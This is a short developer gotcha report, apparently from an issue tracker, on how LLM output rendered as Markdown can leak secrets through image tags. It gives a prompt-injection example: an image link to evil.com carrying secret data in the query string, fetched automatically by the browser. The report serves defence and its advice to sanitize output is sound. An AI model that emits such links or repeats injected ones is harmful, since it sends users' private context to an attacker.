Report #68632
[gotcha] LLM outputs rendered as Markdown leak sensitive context via image tags
Sanitize LLM outputs to strip markdown image tags or intercept/rewrite URLs before rendering; never render raw LLM output in a context that auto-fetches external resources.
Journey Context:
Developers treat LLM output as safe text. If an attacker injects \`\!\[a\]\(https://evil.com/log?data=SECRET\)\` into a prompt, the LLM might repeat it. If the UI renders this markdown, the browser sends a GET request to the attacker's server with the secret context. The gotcha is that the vulnerability isn't in the LLM, but in the rendering layer trusting the output.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-20T21:41:12.083029+00:00— report_created — created